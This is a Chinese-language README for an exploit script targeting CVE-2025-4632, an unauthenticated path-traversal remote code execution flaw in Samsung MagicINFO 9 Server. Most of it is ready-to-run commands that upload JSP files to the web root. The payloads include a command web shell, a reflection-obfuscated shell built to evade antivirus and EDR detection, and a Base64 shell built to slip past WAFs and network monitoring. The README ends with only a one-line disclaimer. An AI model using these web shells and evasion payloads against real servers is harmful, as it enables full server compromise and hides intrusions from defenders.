
该仓库包含针对CVE-2025-4632的Python复现脚本,该漏洞是Samsung MagicINFO 9 Server(21.1052之前版本)中一个未认证的远程代码执行(RCE)漏洞。
本仓库包含针对 CVE-2025-4632 的 Python 复制脚本,该漏洞是 Samsung MagicINFO 9 服务器(版本低于 21.1052)中的一个未认证远程代码执行(RCE)漏洞。
该漏洞源于 SWUpdateFileUploader servlet 对路径名限制不当。通过使用路径遍历(../../),未认证的攻击者可以以 SYSTEM 权限写入任意文件,从而导致服务器完全沦陷。
s4e-io(来自 ProjectDiscovery Nuclei 社区(http/cves/2025/CVE-2025-4632.yaml))。CVE-2025-4632 Nuclei 模板中定义逻辑的直接编程实现。该脚本自动化了生成一个看似合法的设备更新请求的过程。它通过向 fileName 参数注入目录遍历序列,逃离预期的上传目录,直接将文件写入 Web 根目录(/MagicInfo/)。
脚本执行两个步骤:
/MagicInfo/servlet/SWUpdateFileUploader 发送包含遍历路径的负载。/MagicInfo/<filename> 的上传文件,以确认利用成功。python exploit_magicinfo.py -t <目标URL> -f <文件名> -d <负载数据>
-t / --target:目标的基础 URL(例如 http://192.168.1.100:7001)。-f / --filename:要创建的文件名称(例如 shell.jsp)。-d / --data:写入文件的原始内容。以下负载在评估活动中已成功测试。它们旨在在绕过终端安全控制的同时证明影响。
用于安全地确认 JSP 执行,而不触发防病毒或端点检测与响应(EDR)。
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>'
访问地址: http://<target>:7001/MagicInfo/poc.jsp
一个标准的 JSP Web Shell。注意: 现代防病毒/EDR 解决方案可能会捕获并隔离此负载,导致验证时返回 404 Not Found。
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("<pre>"); while ((l = in.readLine()) != null) { out.println(l); } out.print("</pre>"); } %>'
访问地址: http://<target>:7001/MagicInfo/cmd.jsp?c=whoami
当标准 Shell 被阻止时使用。此负载使用 Java 反射来隐藏 Runtime.getRuntime().exec 签名,避免被静态分析检测。
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
访问地址: http://<target>:7001/MagicInfo/bypass.jsp?c=whoami /all
对于复杂命令强烈推荐: 如果您在执行带有空格、反斜杠或特殊字符的命令(例如 dir c:\)时遇到 400 Bad Request 错误,则说明服务器的严格 URI 验证或 WAF 阻止了请求。
此高级负载期望命令在 URL 中为 Base64 编码。它在服务器端解码后再执行,完全绕过了 URL 过滤,并隐藏了命令使其不被网络监控工具发现。
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
使用示例:
在本地将命令编码为 Base64(例如 echo -n "dir c:\" | base64),然后将其传递给 c 参数。
whoami -> d2hvYW1p
http://<target>:7001/MagicInfo/b64.jsp?c=d2hvYW1ptasklist /svc -> dGFza2xpc3QgL3N2Yw==
http://<target>:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==dir c:\ -> ZGlyIGM6XA==
http://<target>:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==免责声明:本脚本仅用于教育和授权的渗透测试目的。